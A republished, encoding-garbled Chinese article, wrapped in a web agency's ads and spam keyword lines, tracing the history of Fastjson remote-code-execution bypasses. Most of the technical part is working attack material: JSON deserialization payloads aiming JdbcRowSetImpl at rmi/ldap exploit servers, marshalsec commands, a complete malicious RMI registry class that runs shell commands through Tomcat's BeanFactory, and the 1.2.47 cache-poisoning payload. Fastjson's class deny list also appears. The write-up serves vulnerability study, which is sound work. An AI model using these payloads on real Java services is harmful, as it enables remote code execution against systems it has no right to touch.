真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

怎么淺談FastjsonRCE漏洞的繞過史

本篇文章給大家分享的是有關(guān)怎么淺談Fastjson RCE漏洞的繞過史,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

創(chuàng)新互聯(lián)專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都網(wǎng)站設(shè)計(jì)、網(wǎng)站建設(shè)、潁州網(wǎng)絡(luò)推廣、小程序制作、潁州網(wǎng)絡(luò)營(yíng)銷、潁州企業(yè)策劃、潁州品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供潁州建站搭建服務(wù),24小時(shí)服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com

引言

fastjson作為一個(gè)是使用十分廣泛的jar包,每一次的RCE漏洞都足以博得大眾的眼球,關(guān)于fastjson每次漏洞的分析也已經(jīng)早有大牛詳細(xì)剖析,17年fastjson第一次爆出漏洞到現(xiàn)在為止,看一下fastjson的縫縫補(bǔ)補(bǔ),對(duì)期間的漏洞做一個(gè)匯總,獲悉其中漏洞挖掘的一些規(guī)律。

Fastjson RCE關(guān)鍵函數(shù)

DefaultJSONParser. parseObject() 解析傳入的 json 字符串提取不同的 key 進(jìn)行后續(xù)的處理TypeUtils. loadClass() 根據(jù)傳入的類名,生成類的實(shí)例JavaBeanDeserializer. Deserialze() 依次調(diào)用 @type 中傳入類的對(duì)象公有 set\get\is 方法。ParserConfig. checkAutoType() 阿里后續(xù)添加的防護(hù)函數(shù),用于在 loadclass 前檢查傳入的類是否合法。

歷史fastjson漏洞匯總與簡(jiǎn)析

fastjson RCE漏洞的源頭

首先來看一次fastjson反序列化漏洞的poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}

先看調(diào)用棧。

第一版的利用原理比較清晰,因?yàn)閒astjson在處理以@type形式傳入的類的時(shí)候,會(huì)默認(rèn)調(diào)用該類的共有set\get\is函數(shù),因此我們?cè)趯ふ依妙惖臅r(shí)候思路如下:

1、類的成員變量我們可以控制;

2、想辦法在調(diào)用類的某個(gè)set\get\is函數(shù)的時(shí)候造成命令執(zhí)行。

于是便找到了JdbcRowSetImpl類,該類在setAutoCommit函數(shù)中會(huì)對(duì)成員變量dataSourceName進(jìn)行l(wèi)ookup,標(biāo)準(zhǔn)的jndi注入利用。

Exec:620,Runtime //命令執(zhí)行

Lookup:417,InitalContext /jndi lookup函數(shù)通過rmi或者ldap獲取惡意類

setAutoCommit:4067,JdbcRowSetImpl 通過setAutoCommit從而在后面觸發(fā)了lookup函數(shù)

setValue:96,FieldDeserializer //反射調(diào)用傳入類的set函數(shù)

deserialze:600, JavaBeanDeserializer 通過循環(huán)調(diào)用傳入類的共有set,get,is函數(shù)

parseObject:368,DefaultJSONParser 解析傳入的json字符串

關(guān)于jndi注入的利用方式我在這里簡(jiǎn)單提一下,因?yàn)閖ndi注入的利用受jdk版本影響較大,所以在利用的時(shí)候還是要多嘗試的。    

注:利用之前當(dāng)然要先確定一下漏洞是否存在,通過DNSlog是個(gè)比較好用的法子。

1、基于rmi的利用方式

適用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8080/test/#Exploit

2、基于ldap的利用方式

適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8080/test/#Exploitt

3、基于BeanFactory的利用方式

適用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。

利用前提:因?yàn)檫@個(gè)利用方式需要借助服務(wù)器本地的類,而這個(gè)類在tomcat的jar包里面,一般情況下只能在tomcat上可以利用成功。

利用方式:

public classEvilRMIServerNew {
    public static voidmain(String[] args)throwsException {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

       //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
       
ResourceRef ref =newResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
       //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
       
ref.add(newStringRefAddr("forceString","x=eval"));
       //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
       
ref.add(newStringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));

        ReferenceWrapper referenceWrapper =newcom.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
}

fastjson RCE漏洞的歷次修復(fù)與繞過

fastjson在曝出第一版的RCE漏洞之后,官方立馬做了更新,于是就迎來了一個(gè)新的主角,checkAutoType() ,在接下來的一系列繞過中都是和這個(gè)函數(shù)的斗智斗勇。

先看一下這個(gè)函數(shù)的代碼:

publicClass checkAutoType(String typeName, Class expectClass,intfeatures) {
   if(typeName ==null) {
       return null;
    }else if(typeName.length() >=128) {
       throw newJSONException("autoType is not support. "+ typeName);
    }else{
        String className = typeName.replace('$','.');
        Class clazz =null;
       intmask;
        String accept;
       if(this.autoTypeSupport || expectClass !=null) {
           for(mask =0; mask <this.acceptList.length; ++mask) {
                accept =this.acceptList[mask];
               if(className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName,this.defaultClassLoader,false);
                   if(clazz !=null) {
                        returnclazz;
                    }
                }
            }

           for(mask =0; mask <this.denyList.length; ++mask) {
                accept =this.denyList[mask];
               if(className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) ==null) {
                   throw newJSONException("autoType is not support. "+ typeName);
                }
            }
        }

防御的方式比較清晰,限制長(zhǎng)度+黑名單,這個(gè)時(shí)候第一時(shí)間產(chǎn)生的想法自然是繞過黑名單,先看一下第一版的黑名單:

this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

其實(shí)第一版的黑名單還是挺強(qiáng)大的,關(guān)于黑名單的繞過,就我已知的目前只有一個(gè)依賴于ibatis的payload,當(dāng)然因?yàn)閕batis在java里面的使用還是非常廣泛的,所以這個(gè)payload危害也是比較大的,這也就是1.2.45的繞過。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"rmi://localhost:1099/Exploit"}}

繞過黑名單是第一種思路,但是安全界大牛們思路還是比較靈活的,很快又發(fā)現(xiàn)了第二種思路,我們?cè)僮屑?xì)看一下checkAutoType函數(shù)的下面這幾行代碼:

f(!this.autoTypeSupport) {
   for(mask =0; mask <this.denyList.length; ++mask) {
        accept =this.denyList[mask];
       if(className.startsWith(accept)) {
           throw newJSONException("autoType is not support. "+ typeName);
        }
    }

   for(mask =0; mask <this.acceptList.length; ++mask) {
        accept =this.acceptList[mask];
       if(className.startsWith(accept)) {
           if(clazz ==null) {
                clazz = TypeUtils.loadClass(typeName,this.defaultClassLoader,false);
            }

該函數(shù)是先檢查傳入的@type的值是否是在黑名單里,然后再進(jìn)入loadClass函數(shù),這樣的話如果loadClass函數(shù)里要是會(huì)對(duì)傳入的class做一些處理的話,我們是不是就能繞過黑名單呢,跟進(jìn)loadClass函數(shù),

public staticClass loadClass(String className, ClassLoader classLoader,booleancache) {
   if(className !=null&& className.length() !=0) {
        Class clazz = (Class)mappings.get(className);        if(clazz !=null) {
           returnclazz;
        }else if(className.charAt(0) =='[') {
            Class componentType = loadClass(className.substring(1), classLoader);
           returnArray.newInstance(componentType,0).getClass();
        }else if(className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() -1);
           returnloadClass(newClassName, classLoader);

可以看到當(dāng)傳入的className以L開頭以 ; 結(jié)尾的時(shí)候會(huì)把className的首字符和最后一個(gè)字符截去,再去生成實(shí)例,于是繞過的poc就非常好寫了,原來的payload的利用類的首尾加上這兩個(gè)字符就Ok了。

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

之后的42、43版本的繞過和41的原理是一樣的我們就不再提了,具體可以去https://github.com/shengqi158/fastjson-remote-code-execute-poc/自行查閱。

最新fastjson RCE的分析

OK,現(xiàn)在來到了我們期待已久的最新的fastjson漏洞的分析,關(guān)于這個(gè)漏洞有很精彩的小故事可以講一講。

這個(gè)漏洞在曝光之后poc遲遲未見,關(guān)于它能夠被利用成功的版本也可謂是每日都有更新,關(guān)于版本有幾個(gè)關(guān)鍵字“51”、“48”,“58”,究竟是哪個(gè)讓人摸不到頭腦,于是乎,決定先去看看官方的公告,發(fā)現(xiàn)只有49版本releases的公告里面寫了“增強(qiáng)安全防護(hù)”,于是乎決定去48、49版本尋覓一下,看看commit之類的,但是當(dāng)時(shí)也沒有發(fā)現(xiàn)什么。

這個(gè)時(shí)候,一個(gè)名不愿透露姓名的大佬在某個(gè)技術(shù)群里面默默發(fā)了一個(gè)關(guān)鍵字“testcase“,當(dāng)時(shí)忽然間產(chǎn)生了一絲電流,難道阿里的大佬們?cè)谛蘼┒吹臅r(shí)候會(huì)在testcase里面做測(cè)試,然后還把testcase的代碼傳到git里面了?但是還不夠,因?yàn)閠estcase的代碼太多了究竟放在哪里呢,這個(gè)時(shí)候之前的分析就可以知道,阿里在防護(hù)第一版RCE的時(shí)候是通過autotypecheck函數(shù),那這次的補(bǔ)丁也很有可能和它相關(guān)嘍,直接在testcase里面全局尋找?guī)в衋utotype關(guān)鍵字的文件名,于是乎,就到達(dá)了如下位置:

怎么淺談Fastjson RCE漏洞的繞過史

依次去看一下里面的文件,基本都是和反序列化漏洞相關(guān)的test,其中AutoTypeTest4.java文件中有如下代碼:

public void test_0()throws Exception{
   String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
   String payload_2="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";

   assertNotNull("class deser is not null",config.getDeserializer(Class.class));

int size=mappings.size();

final int COUNT=10;
for(int i=0;i       JSON.parse(payload,config);
   }

for(int i=0;i       Throwable error2=null;
try{
           JSON.parseObject(payload_2);
       }catch(Exception e){
           error2=e;
       }
       assertNotNull(error2);
       assertEquals(JSONException.class,error2.getClass());
   }
   assertEquals(size,mappings.size());
}

看上去和以往的payload都不太一樣,先去寫一個(gè)簡(jiǎn)化版的代碼,調(diào)試一下:

String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
 String payload_2 ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
 JSON.parse(payload);
 JSON.parse(payload_2);

發(fā)現(xiàn)可以彈框成功(從49版本往前,一個(gè)版本一個(gè)版本試驗(yàn),到47版本試驗(yàn)成功了),那這就很可疑了,但是還有個(gè)問題,漏洞要利用總不能讓你同時(shí)傳進(jìn)去兩個(gè)json字符串讓你依次parse吧,于是把兩串json整理如下        
   

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}

果然可以利用成功,、接下來可以調(diào)試一下看看漏洞成因,因?yàn)橐谎劬湍芸闯鰜硎抢@過了黑名單,所以問題的關(guān)鍵自然在checkAutoType()和loadClass()這兩個(gè)函數(shù)中,去跟進(jìn)一下

首先在" a " :{ " @type " : " java.lang.Class " , " val " : " com.sun.rowset.JdbcRowSetImpl " } 傳入的時(shí)候,Class類是不在黑名單內(nèi)的,在MiscCodec類的deserialze函數(shù)里面可以看到會(huì)將val的值拿出來用來生成對(duì)應(yīng)的對(duì)象,即JdbcRowSetImpl,但是我們并沒法給JdbcRowSetImpl對(duì)象的成員變量賦值,

怎么淺談Fastjson RCE漏洞的繞過史

繼續(xù)往deserialze的下面看,當(dāng)傳入的@type的值為Class的時(shí)候會(huì)調(diào)用loadClass函數(shù),

怎么淺談Fastjson RCE漏洞的繞過史

再往下跟,有調(diào)了一下loadClass函數(shù),多加了一個(gè)值為true的參數(shù)

怎么淺談Fastjson RCE漏洞的繞過史

再跟進(jìn)去可以看到因?yàn)閭魅氲腸ache為true,所以會(huì)在mapping里面把JdbcRowSetImpl這個(gè)對(duì)象的實(shí)例和com.sun.rowset.JdbcRowSetImpl 對(duì)應(yīng)起來,OK現(xiàn)在關(guān)于a的分析到此為止,

怎么淺談Fastjson RCE漏洞的繞過史

我們?cè)撊ジ鴅

(" b " :{ " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " ldap://localhost:1389/Exploit " , " autoCommit " :true}} )了,看看為什么checkautotype()函數(shù)沒把b給攔下來,直接去跟進(jìn)checkautotype函數(shù),當(dāng)autotype為true的時(shí)候,雖然發(fā)現(xiàn)黑名單匹配了,但是TypeUtils.getClassFromMapping(typeName)        !=null所以不會(huì)拋出異常。

怎么淺談Fastjson RCE漏洞的繞過史

而當(dāng)autotype為false的時(shí)候,發(fā)現(xiàn)當(dāng)傳入的@type對(duì)應(yīng)的類在mapping里面有的時(shí)候,就直接把之前生成的對(duì)象拉出來了,這時(shí)候直接返回,壓根還沒有走到后面的黑名單,所以成功繞過了之前的補(bǔ)丁??梢钥吹竭@次的poc是不受autotype影響的,

怎么淺談Fastjson RCE漏洞的繞過史

從上面的分析也可以明白后續(xù)官方的補(bǔ)丁做了什么,那自然是把cache的默認(rèn)值改成了false,不讓Class生成的對(duì)象存在mapping里面了。

Fastjson漏洞挖掘的規(guī)律總結(jié)

從上面追溯的fastjson的修復(fù)繞過上面可以看到有以下幾點(diǎn)還是很值得注意的:

1、 fastjson的防范類是checkAutoType函數(shù),而導(dǎo)致命令執(zhí)行的很關(guān)鍵的一步是loadClass,因此從checkAutoType到loadClass之間的代碼,將會(huì)是繞過補(bǔ)丁需要研究的關(guān)鍵部分。

2、 如果需要繞過黑名單,需要將目光放到使用量較大,并提供jndi功能的jar包上。

3、 對(duì)于這種早就修復(fù)但是官方還沒有公開的漏洞,github的源碼中說不定有驚喜。

以上就是怎么淺談Fastjson RCE漏洞的繞過史,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


名稱欄目:怎么淺談FastjsonRCE漏洞的繞過史
文章轉(zhuǎn)載:http://weahome.cn/article/gssdgh.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部